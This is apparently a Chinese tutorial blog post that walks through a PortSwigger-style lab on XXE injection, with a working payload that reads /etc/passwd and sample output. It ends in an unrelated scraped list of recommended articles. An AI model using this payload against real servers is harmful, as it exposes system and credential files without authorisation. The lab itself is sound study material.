利用XXE检索文件

要执行从服务器的文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

引入(或编辑)DOCTYPE定义包含文件路径的外部实体的元素。
编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。
例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>

该应用程序没有针对 XXE 攻击执行特定的防御,因此您可以/etc/passwd通过提交以下 XXE 负载来利用 XXE 漏洞来检索文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

这个 XXE 负载定义了一个外部实体,&xxe;它的值是/etc/passwd文件的内容,并使用productId值中的实体。这会导致应用程序的响应包含文件的内容:

Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

靶场:

该实验室具有“检查库存”功能,可解析 XML 输入并在响应中返回任何意外值。

为了解决实验室问题,注入一个 XML 外部实体来检索/etc/passwd文件的内容。

操作:

  • 访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义:
    - <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  • 将productId数字替换为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟/etc/passwd文件的内容。
    代码如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck>

Lab: Exploiting XXE using external entities to retrieve files:利用外部实体利用 XXE 来检索文件...相关推荐

  1. 【burpsuite安全练兵场-服务端10】XML外部实体注入(XXE注入)-9个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  2. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  3. XML外部实体注入漏洞——XXE简单分析

    前言: XXE漏洞经常出现在CTF中,一直也没有系统的学习过,今天就来总结一波. 文章目录 一.XXE 漏洞是什么: 二.XML基础知识: 1.XML是什么? 2.XML文档结构: DTD声明方式: ...

  4. XXE(xml外部实体攻击)

    1.概念 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含对外部实体的引用的XML输入被弱配置XML解析器 ...

  5. XXE(外部实体注入)| PortSwigger(burpsuite官方靶场)| Part 3

    写在前面 关于XXE的前置知识,引用和备注,请看Part 1 XXE Part 1 XInclude attacks 一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该 ...

  6. XXE外部实体注入漏洞总结

    Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/cou ...

  7. XML External Entities 攻击(XML外部实体注入)

    使用配置的 XML 解析器无法预防和限制外部实体进行解析,这会使解析器暴露在 XML External Entities 攻击 之下 说明: XML External Entities 攻击可利用能够 ...

  8. 【网络安全】JAVA代码审计—— XXE外部实体注入

    一.WEB安全部分 想要了解XXE,在那之前需要了解XML的相关基础 二.XML基础 2.1 XML语法 所有的XML元素都必须有一个关闭标签 XML标签对大小写敏感 XML必须正确嵌套 XML 文档 ...

  9. XXE(XML外部实体注入)详解

    1. XXE漏洞描述 XXE(XML External Entity Injection)又称为"XML外部实体注入漏洞". 当允许引用外部实体时,通过构造恶意内容,就可能导致任意 ...

最新文章

  1. 基于supersocket、C#对JT808协议进行解析构建gps监控平台服务端
  2. 王者荣耀服务器维护5月22,5月22日王者荣耀更新内容一览
  3. 不能导入android项目备注
  4. .NET Core容器化@Docker
  5. tornado学习笔记day08-tornado中的异步
  6. mysql 不同服务器不同库之间的访问_不同服务器数据库之间的数据操作
  7. java 新建 api 案列_Java利用webservice创建接口案例源码
  8. 矩阵的四个基本子空间
  9. eclipse支持html,让eclipse完全支持HTML/JS/CSS智能提示
  10. 开课吧Java课堂之如何使用FilenameFilter
  11. 【干货笔记】Generating Question-Answer Hierarchies阅读笔记
  12. Manadata:用于数据管理的SPSS宏
  13. hive中的date函数
  14. matlab 二维矩形函数,科学网—利用MATLAB对非矩形域实现二维插值 - 张乐乐的博文...
  15. Linux快捷方式There was an error launching the application
  16. CentOS7安装配置Tomcat9
  17. 神牛TT685C闪光灯ETTL模式不同步解决方案
  18. glusterfs搭建
  19. 安卓10不支持qmc解码_魅族官宣内测安卓10 数十款机型支持和四大亮点加持
  20. 微信小程序管理客服微信号

热门文章

  1. tc260大数据安全标准化工作研究成果 学习笔记
  2. PCB过孔和焊盘大小标准
  3. prometheus监控mysql主从
  4. 当我们建设CMDB时我们该做什么
  5. 计算机网络层次结构【OSI层次结构】
  6. 剖析国内安卓应用市场 新商业逻辑能否上演“绝地求生”
  7. 第3章 关系数据库标准语言SQL
  8. 苹果M1芯片,MATLAB(2022a)性能测试
  9. python获取键盘输入函数input
  10. java 投影转换算法_java – 如何将3D点转换为2D透视投影?